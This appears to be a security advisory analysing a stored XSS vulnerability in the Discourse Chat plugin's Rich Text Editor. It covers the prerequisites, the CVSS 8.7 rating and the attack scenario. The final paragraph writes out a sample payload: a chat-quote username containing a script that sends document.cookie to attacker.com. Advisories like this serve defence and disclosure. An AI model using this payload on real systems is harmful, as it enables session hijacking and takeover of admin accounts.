Discourse CVE-2026-72730

The attacker must hold a valid Discourse account with permission to send chat messages (CVSS PR:L - low-privilege authenticated access). The Discourse Chat plugin must be enabled on the target instance; the Rich Text Editor must be the active editor (it is the default in modern Discourse). The victim must open or view the crafted chat transcript in the Rich Text Editor (CVSS UI:R - active user interaction), which occurs naturally for moderators and admins reviewing chat content. No non-default server configuration is required beyond the Chat plugin being active. Exploitation is entirely blocked for anonymous or unauthenticated visitors. The severity of impact scales with the privilege level of the victim: a standard user session yields lower-value access than an admin session, which could lead to full community takeover.

The CVSS 8.7 rating is well-supported: AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N captures a network-accessible stored XSS requiring only low-privilege (authenticated) access to inject the payload, with scope change reflecting that the exploit executes in the victim's browser context rather than the server. The scope change and C:H/I:H ratings reflect the ability to steal session tokens, hijack moderator or admin accounts, and perform privileged actions entirely through the victim's authenticated session. The PR:L constraint limits opportunistic exploitation - an unauthenticated visitor cannot deliver the payload - but on active Discourse communities any registered member qualifies, making the effective attacker pool large. UI:R is a limiting factor, though the natural workflow of moderators reviewing chat transcripts makes victim interaction highly probable. EPSS data was not provided in the input; KEV status is not confirmed. The absence of a known public exploit is the primary mitigating factor, though the commit diff and accompanying test case (which embeds <b>marker</b> as a proof of concept username) effectively document the injection vector in public GitHub history, making independent weaponization straightforward. Even a mid-sized municipal IT team in boleslawiec managing a self-hosted Discourse instance for internal communications should treat this as urgent, since privileged account takeover is a realistic outcome if an admin views a crafted transcript.

An authenticated Discourse user crafts a chat message using the BBCode [chat quote] syntax with a JavaScript payload embedded in the username field - for example [chat quote="<script>fetch('https://attacker.com/?c='+document.cookie)</script>;12345;2026-01-01T00:00:00Z"]message[/chat]. When a moderator or administrator subsequently opens the chat transcript in the Rich Text Editor, the injected script executes in their browser under the Discourse origin, allowing the attacker to exfiltrate session tokens or perform privileged actions on behalf of the victim. No standalone public POC exploit has been identified, though the commit diff on public GitHub effectively documents the injection mechanism and test vectors.